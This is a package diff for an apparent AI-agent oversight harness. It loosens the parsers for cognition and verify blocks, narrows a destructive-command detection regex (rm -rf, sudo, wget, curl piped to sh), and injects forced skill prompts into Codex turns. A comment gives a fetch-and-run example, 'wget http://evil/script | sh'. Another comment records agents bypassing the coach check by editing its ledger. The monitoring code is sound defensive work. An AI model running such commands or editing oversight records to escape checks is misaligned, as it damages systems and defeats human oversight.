@aria_asi/cli 0.2.39 → 0.2.41

package/dist/runtime/coach-kernel.mjs

@@ -32,9 +32,25 @@ const OUTPUT_PHASES = new Set(['post_generation', 'pre_output', 'post_output', '
 const TOOL_PHASES = new Set(['pre_tool', 'post_tool']);
 const SECRET_KEY_RX = /\b(?:api[_-]?key|secret|token|authorization|password|credential|private[_-]?key)\b/i;
 const SECRET_VALUE_RX = /\b(?:sk-[A-Za-z0-9_-]{16,}|xox[baprs]-[A-Za-z0-9-]{20,}|gh[pousr]_[A-Za-z0-9_]{20,}|Bearer\s+[A-Za-z0-9._~+\/-]{20,}|AKIA[0-9A-Z]{16})\b/i;
-const COGNITION_RX = /<cognition>[\s\S]*?<\/cognition>/i;
-const APPLIED_COGNITION_RX = /<applied_cognition>[\s\S]*?<\/applied_cognition>/i;
-const VERIFY_RX = /<verify>[\s\S]*?(?:verified|rollback|target|predicate)[\s\S]*?<\/verify>/i;
+// AI-11803-COACH-PARSER-FIX (2026-05-12) — whitespace-tolerant block patterns.
+// Prior: strict `<cognition>` regex rejected `< cognition>`, `<cognition >`,
+// `<cognition\n>` and any whitespace-shaped opening/closing tag. Consequence:
+// agents emitting valid blocks with trivial whitespace variants hit
+// missing_readable_cognition_before_release / missing_applied_cognition_before_release
+// repeat-fires, which created a coach-loop with no escape and pressured
+// agents toward bypass via ledger edit.
+// Byte-aligned with ops/claude-hooks/lib/cognitive-block-parser.mjs:33-35,
+// the canonical structural extractor.
+//
+// AI-11803-COACH-PARSER-FIX-VERIFY — VERIFY_RX prior pattern required one of
+// the literal keywords {verified, rollback, target, predicate} INSIDE the
+// block. Real-world verify blocks commonly carry the evidence directly
+// (exit 0, status: 200, sha256:..., HTTP 2xx) without those specific
+// keywords. Relax to any non-empty block body; rely on hasEvidence /
+// MEASURABLE_EVIDENCE_RX to verify the substance.
+const COGNITION_RX = /<\s*cognition\s*>[\s\S]*?<\s*\/\s*cognition\s*>/i;
+const APPLIED_COGNITION_RX = /<\s*applied_cognition\s*>[\s\S]*?<\s*\/\s*applied_cognition\s*>/i;
+const VERIFY_RX = /<\s*verify\s*>[\s\S]+?<\s*\/\s*verify\s*>/i;
 const COMPLETION_CLAIM_RX = /\b(?:done|complete|completed|ready|verified|fixed|shipped|production-ready|release-ready|passing|passed)\b/i;
 const MEASURABLE_EVIDENCE_RX = /\b(?:exit\s*0|0\s+failures?|passed|status\s*[:=]\s*(?:ok|200|healthy|pass)|verified\s*[:=]\s*true|ledger_record_id|receiptId|sha256|http\s*2\d\d)\b/i;
 
@@ -106,12 +122,87 @@ function phaseOrDefault(phase) {
   return ALLOWED_PHASES.has(candidate) ? candidate : 'pre_turn';
 }
 
+// AI-11803-COACH-VERIFY-PARITY (2026-05-12) — extend remote evidence detection
+// to read PostToolUse tool_response shapes (parity with the local hook fix in
+// ops/claude-hooks/lib/first-class-coach.mjs:hasVerificationEvidence). Non-
+// local-hook callers (other surfaces posting raw events to /coach/phase) get
+// the same auto-evidence detection from Bash + curl + JSON responses; local
+// hook callers already get it via applyLocalLedgerSupersedes but parity here
+// removes the silent dual-system-must-agree drift surface.
+function readToolResponseTexts(event) {
+  const out = [];
+  const tr = event?.tool_response || event?.toolResponse || event?.tool_result || event?.toolResult;
+  if (tr && typeof tr === 'object') {
+    if (typeof tr.stdout === 'string') out.push(tr.stdout);
+    if (typeof tr.output === 'string') out.push(tr.output);
+    if (typeof tr.text === 'string') out.push(tr.text);
+    if (typeof tr.result === 'string') out.push(tr.result);
+    if (typeof tr.content === 'string') out.push(tr.content);
+    if (Array.isArray(tr.content)) {
+      for (const piece of tr.content) {
+        if (piece && typeof piece === 'object' && typeof piece.text === 'string') out.push(piece.text);
+      }
+    }
+  }
+  return out;
+}
+
+function extractFirstJsonObject(text) {
+  if (typeof text !== 'string') return null;
+  const start = text.indexOf('{');
+  if (start < 0) return null;
+  let depth = 0;
+  let inStr = false;
+  let strQuote = '';
+  let escape = false;
+  for (let i = start; i < text.length; i++) {
+    const ch = text[i];
+    if (inStr) {
+      if (escape) { escape = false; continue; }
+      if (ch === '\\') { escape = true; continue; }
+      if (ch === strQuote) inStr = false;
+      continue;
+    }
+    if (ch === '"' || ch === '\'') { inStr = true; strQuote = ch; continue; }
+    if (ch === '{') depth++;
+    else if (ch === '}') {
+      depth--;
+      if (depth === 0) {
+        try { return JSON.parse(text.slice(start, i + 1)); } catch { return null; }
+      }
+    }
+  }
+  return null;
+}
+
+function isVerificationShapedJson(obj) {
+  if (!obj || typeof obj !== 'object') return false;
+  if (obj.success === false || obj.ok === false) return false;
+  if ((obj.error || obj.errors) && obj.success !== true && obj.ok !== true && obj.verified !== true) return false;
+  if (obj.success === true || obj.ok === true || obj.verified === true) return true;
+  if (typeof obj.status === 'string' && /^(?:ok|success|passed|verified|active|running|ready|healthy)$/i.test(obj.status)) return true;
+  if ((obj.modelUsed || obj.model) && typeof obj.latencyMs === 'number' && obj.latencyMs > 0) return true;
+  if (typeof obj.statusCode === 'number' && obj.statusCode >= 200 && obj.statusCode < 300) return true;
+  if (typeof obj.status === 'number' && obj.status >= 200 && obj.status < 300) return true;
+  return false;
+}
+
 function hasEvidence(event, text) {
   if (Array.isArray(event.evidence_refs) && event.evidence_refs.length > 0) return true;
   if (event.validation?.passed === true || event.validation?.severity === 'pass') return true;
   if (event.layer3?.pass === true) return true;
   if (event.metadata?.validated_output === true || event.metadata?.verified === true) return true;
-  return MEASURABLE_EVIDENCE_RX.test(text || event.text_preview || '');
+  if (MEASURABLE_EVIDENCE_RX.test(text || event.text_preview || '')) return true;
+  const toolTexts = readToolResponseTexts(event);
+  for (const t of toolTexts) {
+    const json = extractFirstJsonObject(t);
+    if (json) {
+      if (isVerificationShapedJson(json)) return true;
+      continue;
+    }
+    if (MEASURABLE_EVIDENCE_RX.test(t)) return true;
+  }
+  return false;
 }
 
 function hasVerifyEvidence(event, text) {
@@ -170,7 +261,7 @@ function decisionFromSignals(highRisk, repairable, warnings, autoTrigger = []) {
 
 export function normalizeCoachEvent(input = {}) {
   const phase = phaseOrDefault(input.phase);
-  const rawText = normalizeString(input.text || input.output || input.message || input.target || '');
+  const rawText = normalizeString(input.text || input.output || input.message || input.target || input.rawText || '');
   const metadata = redactedClone(input.metadata && typeof input.metadata === 'object' ? input.metadata : {});
   const record = {
     coach_event_id: normalizeString(input.coachEventId || input.coach_event_id) || `coach_${randomUUID().replace(/-/g, '')}`,
@@ -197,14 +288,60 @@ export function normalizeCoachEvent(input = {}) {
     metadata,
   };
   Object.defineProperty(record, 'rawText', { value: rawText, enumerable: false });
+  // AI-11803-NORMALIZE-TOOL-RESPONSE (2026-05-12) — preserve tool_response on
+  // the normalized record (non-enumerable) so hasEvidence can read it. The
+  // input shape comes from Claude Code PostToolUse hook payloads which place
+  // verification evidence in tool_response.stdout. Without this preservation,
+  // hasEvidence's tool-response branch had nothing to read on the normalized
+  // record and verification went undetected. Non-enumerable matches rawText's
+  // convention — these are operational fields, not part of the audit summary.
+  const toolResponse = input.tool_response || input.toolResponse || input.tool_result || input.toolResult || null;
+  if (toolResponse !== null) {
+    Object.defineProperty(record, 'tool_response', { value: toolResponse, enumerable: false });
+  }
   return record;
 }
 
-const DESTRUCTIVE_RX = /\b(?:rm\s+-[rRfF]+\S*|drop\s+(?:table|database|schema|collection|index)|git\s+(?:reset\s+--hard|push\s+--force|push\s+--delete)|sudo\s+|systemctl\s+(?:stop|disable|mask|kill)|kill\s+-[9K]|pkill\s+-[9K]|--no-verify|--no-gpg-sign|kubectl\s+(?:delete|scale\s+--replicas=0|rollout\s+undo)|docker\s+rm\s+-f|chmod\s+777|wget|curl.*\|\s*(?:ba)?sh)\b/i;
+// AI-11803-DESTRUCTIVE-RX-NARROW (2026-05-12) — narrowed bare-word false-
+// positives. Prior pattern matched `sudo\s+`, `wget`, `chmod 777` against any
+// prose context, including audit findings, doctrine memos, and meta-discussion
+// of destructive commands. The local downgrade hooks (Edit/Write probe-prefix
+// for tool calls, intent-classifier + proposal-menu shape for output) catch
+// most false-positives, but classifier work + audit-log noise still incur on
+// every prose mention. This narrows the bare-word matches to require concrete
+// shell-execution context:
+//   - `sudo` now requires a following alphabetic command token (sudo systemctl,
+//     sudo apt) — bare "sudo" word in prose like "use sudo carefully" no longer
+//     matches.
+//   - `wget` now requires a URL or `-O` flag immediately after, signaling an
+//     actual download invocation rather than meta-mention.
+//   - `chmod 777` now requires a path argument or wildcard, signaling actual
+//     permission change rather than discussion.
+// Real destructive shapes (`sudo rm -rf /`, `wget http://evil/script | sh`,
+// `chmod 777 /etc/shadow`) still match. Meta-discussion in prose ("use sudo
+// to escalate", "wget is a download tool", "chmod 777 considered harmful")
+// no longer triggers the regex.
+// AI-11803-DESTRUCTIVE-RX-NARROW-FIX (2026-05-12) — removed trailing \b.
+// URL/path patterns end on non-word boundaries (slash, dot, colon) which
+// fails the trailing word-boundary anchor. The leading \b still prevents
+// substring matches (yougetsudo, argument, etc.). Each alternative branch
+// is structurally unambiguous so no trailing anchor is needed.
+// wget: require URL-scheme, IP address, or short flag. "wget the tool" (prose
+// where wget is followed by a normal English word) does NOT match.
+const DESTRUCTIVE_RX = /\b(?:rm\s+-[rRfF]+\S*|drop\s+(?:table|database|schema|collection|index)|git\s+(?:reset\s+--hard|push\s+--force|push\s+--delete)|sudo\s+[a-zA-Z][a-zA-Z0-9_-]*|systemctl\s+(?:stop|disable|mask|kill)|kill\s+-[9K]|pkill\s+-[9K]|--no-verify|--no-gpg-sign|kubectl\s+(?:delete|scale\s+--replicas=0|rollout\s+undo)|docker\s+rm\s+-f|chmod\s+777\s+\S+|wget\s+(?:-[a-zA-Z][a-zA-Z0-9]*|https?:\/\/|ftp:\/\/|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|curl[^|\n]*\|\s*(?:ba)?sh)/i;
 const DEPLOY_RX = /\b(?:kubectl\s+(?:apply|set|rollout|delete|create|replace|scale)|helm\s+(?:upgrade|install|uninstall)|terraform\s+(?:apply|destroy)|docker\s+(?:push|build\s+.*--push))\b/i;
 
+// AI-11803-COACH-NORMALIZE-DEFENSIVE (2026-05-12) — always normalize.
+// Prior shortcut `event.phase ? event : normalizeCoachEvent(event)` skipped
+// normalization for callers that pre-set phase but didn't initialize array
+// fields (missing_skill_ids, evidence_refs, etc.), leading to a TypeError on
+// `normalized.missing_skill_ids.length` later in this function. The shortcut
+// saved no measurable work — normalization is O(n) on a small input — and it
+// created a fragile API contract where the caller had to know which fields to
+// pre-initialize. Always normalize. If the caller already normalized, the
+// double-normalize is idempotent (string trims, array dedups).
 export function evaluateCoachEvent(event = {}) {
-  const normalized = event.phase ? event : normalizeCoachEvent(event);
+  const normalized = normalizeCoachEvent(event);
   const text = normalized.rawText || normalized.text_preview || '';
   const highRisk = [];
   const repairable = [];

package/dist/runtime/codex-bridge.mjs

@@ -13,7 +13,7 @@ const require = createRequire(import.meta.url);
 const { WebSocketServer, WebSocket } = require('ws');
 
 const HOME = homedir();
-const LOG_PATH = `${HOME}/.aria/runtime/logs/codex-bridge.log`;
+const LOG_PATH = process.env.ARIA_CODEX_BRIDGE_LOG_PATH || `${HOME}/.aria/runtime/logs/codex-bridge.log`;
 const RUNTIME_BASE_URL = (process.env.ARIA_RUNTIME_URL || 'http://127.0.0.1:4319').replace(/\/+$/, '');
 const BRIDGE_PORT = Number(process.env.ARIA_CODEX_BRIDGE_PORT || '4320');
 const DOWNSTREAM_PORT = Number(process.env.ARIA_CODEX_DOWNSTREAM_PORT || '4321');
@@ -21,6 +21,36 @@ const BRIDGE_HOST = process.env.ARIA_CODEX_BRIDGE_HOST || '127.0.0.1';
 const DOWNSTREAM_URL = process.env.ARIA_CODEX_DOWNSTREAM_URL || `ws://${BRIDGE_HOST}:${DOWNSTREAM_PORT}`;
 const DOWNSTREAM_STARTUP_GRACE_MS = Number(process.env.ARIA_CODEX_DOWNSTREAM_STARTUP_GRACE_MS || '5000');
 const BRIDGE_WARNING_METHOD = 'guardianWarning';
+const CODEX_FORCED_SKILLS = Object.freeze([
+  'aria-cognition-autofire',
+  'aria-first-class-operating-contract',
+  'aria-cognition-batch',
+  'aria-quality-audit',
+  'aria-repo-doctrine',
+  'aria-http-harness-client',
+  'aria-harness-substrate-binding',
+  'aria-axioms-first-principles',
+  'never-guess',
+  'tadabbur',
+  'tadabbur-ops',
+  'tafakkur',
+  'qiyas-analogy',
+  'forge-quality-rules',
+  'aria-task-codex-executor',
+  'aria-backend-architect',
+  'aria-harness-no-stripping',
+  'aria-readable-output',
+  'aria-ledger-fleet-execution',
+  'predictor',
+  'aria-aristotle-pre-phase',
+  'aria-aristotle-intra-phase',
+  'aria-aristotle-post-phase',
+  'mizan',
+  'ghazali-8lens',
+  'aria-noor-cognitives',
+]);
+
+const CODEX_FORCED_SKILL_FLOOR = 50;
 
 let downstreamProcess = null;
 let downstreamProcessStarting = null;
@@ -126,6 +156,19 @@ async function postRuntime(pathname, body) {
   return parsed;
 }
 
+function remoteCoachEnabled() {
+  return /^(?:1|true|yes|on)$/i.test(String(
+    process.env.ARIA_REMOTE_COACH_ENABLED ||
+    process.env.ARIA_RUNTIME_COACH_ENABLED ||
+    process.env.ARIA_COACH_REMOTE_ENABLED ||
+    ''
+  ));
+}
+
+function externalDownstreamEnabled() {
+  return /^(?:1|true|yes|on)$/i.test(String(process.env.ARIA_CODEX_BRIDGE_EXTERNAL_DOWNSTREAM || ''));
+}
+
 function ensureTurnState(threadId, turnId) {
   const key = `${threadId}:${turnId}`;
   let state = turnState.get(key);
@@ -139,6 +182,7 @@ function ensureTurnState(threadId, turnId) {
       bufferedAgentNotifications: [],
       firstAgentItemId: null,
       preRecorded: false,
+      forcedSkillReceipt: null,
       traceId: `trace_${randomUUID()}`,
     };
     turnState.set(key, state);
@@ -170,6 +214,102 @@ function extractInputText(input) {
   return parts.join('\n\n').trim();
 }
 
+function prependForcedPromptToInput(input, forcedPrompt, userText) {
+  const current = Array.isArray(input) ? input.map((item) => {
+    if (!item || typeof item !== 'object' || Array.isArray(item)) return item;
+    return { ...item };
+  }) : [];
+  const originalText = String(userText || extractInputText(current) || '').trim();
+  const bridgedText = [
+    '--- ARIA CODEX FORCED COGNITION PACKET ---',
+    forcedPrompt,
+    '--- /ARIA CODEX FORCED COGNITION PACKET ---',
+    '',
+    '--- CURRENT USER REQUEST ---',
+    originalText || '(no explicit user text)',
+  ].join('\n');
+
+  const textIndex = current.findIndex((item) => item && typeof item === 'object' && typeof item.text === 'string');
+  if (textIndex >= 0) {
+    current[textIndex] = {
+      ...current[textIndex],
+      text: bridgedText,
+      ariaOriginalText: current[textIndex].text,
+    };
+    return current;
+  }
+
+  return [
+    { type: 'text', text: bridgedText, ariaOriginalText: originalText },
+    ...current,
+  ];
+}
+
+async function buildForcedSkillPromptForTurn(threadId, turnId, userText, params = {}) {
+  const state = ensureTurnState(threadId, turnId);
+  const message = String(userText || 'codex turn start').trim();
+  const result = await postRuntime('/build-system-prompt', {
+    sessionId: `codex:${threadId}:${turnId}`,
+    surface: 'codex',
+    message,
+    requiredSkills: CODEX_FORCED_SKILLS,
+    allowOwnerBypass: true,
+    injection: {
+      harness: {
+        packet: {
+          harness: [
+            'surface=codex-bridge',
+            'namespace=live-codex-turn',
+            'purpose=force skill firing before cognition, before tool use, during tool use, after tool use, QA correction, and learning integration',
+          ].join('\n'),
+          sessionId: `codex:${threadId}:${turnId}`,
+          threadId,
+          turnId,
+          traceId: state.traceId,
+        },
+      },
+      task: message,
+      docs: [
+        {
+          title: 'Codex bridge forced cognition contract',
+          content: 'Apply these loaded skill bodies as binding pre-cognition, intra-cognition, post-cognition, QA, correction, verification, and learning-loop instructions before answering or using tools.',
+        },
+      ],
+      files: {},
+      loadedAt: new Date().toISOString(),
+    },
+    metadata: {
+      threadId,
+      turnId,
+      traceId: state.traceId,
+      cwd: params.cwd || null,
+      bridge: 'codex',
+    },
+  });
+
+  const missingSkills = Array.isArray(result?.missingSkillIds) ? result.missingSkillIds : [];
+  const missingCookbooks = Array.isArray(result?.missingCookbooks) ? result.missingCookbooks : [];
+  const loadedSkillIds = Array.isArray(result?.loadedSkillIds) ? result.loadedSkillIds : [];
+  if (result?.ok !== true || typeof result?.prompt !== 'string' || loadedSkillIds.length < CODEX_FORCED_SKILL_FLOOR || missingSkills.length > 0 || missingCookbooks.length > 0) {
+    throw new Error(`forced skill prompt build failed: loaded=${loadedSkillIds.length} missingSkills=${missingSkills.join(',') || 'none'} missingCookbooks=${missingCookbooks.length}`);
+  }
+
+  state.forcedSkillReceipt = {
+    promptHash: createHash('sha256').update(result.prompt).digest('hex'),
+    promptChars: result.prompt.length,
+    loadedSkillIds,
+    loadedSkillHashes: Array.isArray(result.loadedSkillHashes) ? result.loadedSkillHashes : [],
+    loadedCookbooks: Array.isArray(result.loadedCookbooks) ? result.loadedCookbooks.map((cookbook) => ({
+      skillId: cookbook.skillId,
+      cookbookName: cookbook.cookbookName,
+      hash: cookbook.hash,
+      chars: cookbook.chars,
+    })) : [],
+    builtAt: new Date().toISOString(),
+  };
+  return result.prompt;
+}
+
 function inferThreadId(params = {}) {
   return params.threadId || params.thread_id || params.turn?.threadId || params.turn?.thread_id || params.item?.threadId || params.item?.thread_id || null;
 }
@@ -479,6 +619,16 @@ async function checkActionAgainstRuntime(action, target, threadId, turnId, metad
 
 async function recordCoachPhaseForTurn(threadId, turnId, phase, patch = {}) {
   const state = ensureTurnState(threadId, turnId);
+  if (!remoteCoachEnabled()) {
+    return {
+      ok: true,
+      skipped: true,
+      permitted: true,
+      decision: 'allow',
+      phase,
+      reasons: ['remote_coach_disabled'],
+    };
+  }
   try {
     return await postRuntime('/coach/phase', {
       phase,
@@ -509,13 +659,24 @@ async function recordCoachPhaseForTurn(threadId, turnId, phase, patch = {}) {
 async function recordMizanPre(threadId, turnId) {
   const state = ensureTurnState(threadId, turnId);
   try {
+    const preEvidenceRefs = [
+      makeEvidenceRef('user_input', state.userText, { threadId, turnId, traceId: state.traceId }),
+      ...(state.forcedSkillReceipt
+        ? [makeEvidenceRef('codex_forced_skill_prompt', state.forcedSkillReceipt, { threadId, turnId, traceId: state.traceId })]
+        : []),
+    ];
     await recordCoachPhaseForTurn(threadId, turnId, 'pre_turn', {
       text: state.userText || 'codex turn start',
-      evidenceRefs: [makeEvidenceRef('user_input', state.userText, { threadId, turnId, traceId: state.traceId })],
+      evidenceRefs: preEvidenceRefs,
+      metadata: { forced_skill_receipt: state.forcedSkillReceipt },
     });
     await recordCoachPhaseForTurn(threadId, turnId, 'pre_cognition', {
       text: state.userText || 'codex pre-cognition',
-      evidenceRefs: [makeEvidenceRef('codex_pre_cognition_request', state.userText, { threadId, turnId, traceId: state.traceId })],
+      evidenceRefs: [
+        makeEvidenceRef('codex_pre_cognition_request', state.userText, { threadId, turnId, traceId: state.traceId }),
+        ...preEvidenceRefs.slice(1),
+      ],
+      metadata: { forced_skill_receipt: state.forcedSkillReceipt },
     });
     const result = await postRuntime('/mizan/pre', {
       sessionId: `codex:${threadId}:${turnId}`,
@@ -533,7 +694,8 @@ async function recordMizanPre(threadId, turnId) {
         platform: 'codex',
         userText: state.userText,
         traceId: state.traceId,
-        evidenceRefs: [makeEvidenceRef('user_input', state.userText, { threadId, turnId, traceId: state.traceId })],
+        evidenceRefs: preEvidenceRefs,
+        forcedSkillReceipt: state.forcedSkillReceipt,
       },
     });
     state.preReceiptId = result?.receipt?.receiptId || null;
@@ -541,8 +703,9 @@ async function recordMizanPre(threadId, turnId) {
       text: state.userText || 'codex post-cognition',
       evidenceRefs: [
         makeEvidenceRef('mizan_pre_receipt', result?.receipt || null, { threadId, turnId, traceId: state.traceId }),
+        ...preEvidenceRefs.slice(1),
       ],
-      metadata: { pre_receipt_id: state.preReceiptId },
+      metadata: { pre_receipt_id: state.preReceiptId, forced_skill_receipt: state.forcedSkillReceipt },
     });
   } catch (error) {
     log(`warn mizan/pre thread=${threadId} turn=${turnId} error="${error instanceof Error ? error.message : String(error)}"`);
@@ -824,6 +987,25 @@ async function releaseTurnOutput(upstream, notification) {
 }
 
 async function ensureDownstreamReady() {
+  if (externalDownstreamEnabled()) {
+    for (let attempt = 0; attempt < 50; attempt += 1) {
+      try {
+        await new Promise((resolvePromise, rejectPromise) => {
+          const socket = new WebSocket(DOWNSTREAM_URL);
+          socket.once('open', () => {
+            socket.terminate();
+            resolvePromise();
+          });
+          socket.once('error', rejectPromise);
+        });
+        return;
+      } catch {
+        await sleep(100);
+      }
+    }
+    throw new Error(`external downstream codex app-server not reachable at ${DOWNSTREAM_URL}`);
+  }
+
   if (downstreamProcess && !downstreamProcess.killed) return;
   if (downstreamProcessStarting) {
     await downstreamProcessStarting;
@@ -904,6 +1086,11 @@ async function startBridge() {
   });
 
   wss.on('connection', async (upstream) => {
+    const earlyUpstreamMessages = [];
+    const earlyUpstreamMessageHandler = (data) => {
+      earlyUpstreamMessages.push(data);
+    };
+    upstream.on('message', earlyUpstreamMessageHandler);
     await ensureDownstreamReady();
     const downstream = new WebSocket(DOWNSTREAM_URL);
     const pendingDownstreamMessages = [];
@@ -916,9 +1103,45 @@ async function startBridge() {
       pendingTurnStarts.set(String(message.id), {
         threadId,
         userText: extractInputText(params.input),
+        forcedSkillReceipt: null,
       });
     }
 
+    async function forceSkillPromptOnTurnStart(message) {
+      if (message?.method !== 'turn/start' || !message?.params?.threadId) return { ok: true, message };
+      const params = message.params;
+      const threadId = params.threadId;
+      const turnId = params.turnId || params.turn_id || `pending-${message.id ?? Date.now()}`;
+      const userText = extractInputText(params.input);
+      const state = ensureTurnState(threadId, turnId);
+      if (!state.userText && userText) state.userText = userText;
+      try {
+        const forcedPrompt = await buildForcedSkillPromptForTurn(threadId, turnId, userText, params);
+        const pending = message?.id == null ? null : pendingTurnStarts.get(String(message.id));
+        if (pending) pending.forcedSkillReceipt = state.forcedSkillReceipt;
+        return {
+          ok: true,
+          message: {
+            ...message,
+            params: {
+              ...params,
+              input: prependForcedPromptToInput(params.input, forcedPrompt, userText),
+              ariaForcedSkillIds: CODEX_FORCED_SKILLS,
+              ariaForcedSkillPromptHash: state.forcedSkillReceipt?.promptHash || null,
+            },
+          },
+        };
+      } catch (error) {
+        const reason = error instanceof Error ? error.message : String(error);
+        log(`block turn/start thread=${threadId} reason="${reason}"`);
+        return {
+          ok: false,
+          threadId,
+          reason: formatCodexRecoveryBlock('codex-bridge-forced-skill-prompt', reason),
+        };
+      }
+    }
+
     function takePendingTurnStart(threadId) {
       for (const [requestId, pending] of pendingTurnStarts.entries()) {
         if (pending.threadId === threadId) {
@@ -945,7 +1168,10 @@ async function startBridge() {
       const turnId = turn?.id || result.turnId || result.turn_id;
       if (!turnId) return;
       pendingTurnStarts.delete(String(message.id));
-      hydrateTurnState(pending.threadId, turnId, pending.userText);
+      const state = ensureTurnState(pending.threadId, turnId);
+      if (!state.userText && pending.userText) state.userText = pending.userText;
+      if (pending.forcedSkillReceipt && !state.forcedSkillReceipt) state.forcedSkillReceipt = pending.forcedSkillReceipt;
+      void recordMizanPreOnce(pending.threadId, turnId);
     }
 
     function sendDownstream(payload) {
@@ -973,7 +1199,7 @@ async function startBridge() {
       try { upstream.close(); } catch {}
     });
 
-    upstream.on('message', async (data) => {
+    async function handleUpstreamMessage(data) {
       const raw = typeof data === 'string' ? data : data.toString();
       let message;
       try {
@@ -988,10 +1214,29 @@ async function startBridge() {
         if (!message.params.approvalPolicy) {
           message.params.approvalPolicy = 'untrusted';
         }
+        const forced = await forceSkillPromptOnTurnStart(message);
+        if (!forced.ok) {
+          safeSendJson(upstream, makeGuardianWarning(forced.threadId || message.params.threadId, forced.reason), 'forced skill prompt warning');
+          safeSendJson(upstream, {
+            id: message.id,
+            error: {
+              code: -32000,
+              message: forced.reason,
+            },
+          }, 'forced skill prompt error');
+          return;
+        }
+        message = forced.message;
       }
 
       sendDownstream(JSON.stringify(message));
-    });
+    }
+
+    upstream.off('message', earlyUpstreamMessageHandler);
+    upstream.on('message', handleUpstreamMessage);
+    for (const earlyMessage of earlyUpstreamMessages.splice(0)) {
+      void handleUpstreamMessage(earlyMessage);
+    }
 
     downstream.on('message', async (data) => {
       const raw = typeof data === 'string' ? data : data.toString();
@@ -1050,6 +1295,7 @@ async function startBridge() {
         if (threadId && turnId) {
           const pending = takePendingTurnStart(threadId);
           const state = ensureTurnState(threadId, turnId);
+          if (pending?.forcedSkillReceipt && !state.forcedSkillReceipt) state.forcedSkillReceipt = pending.forcedSkillReceipt;
           if (!state.userText) {
             state.userText = message?.params?.turn?.input?.map?.((entry) => entry?.text).filter(Boolean).join('\n\n') || pending?.userText || '';
           }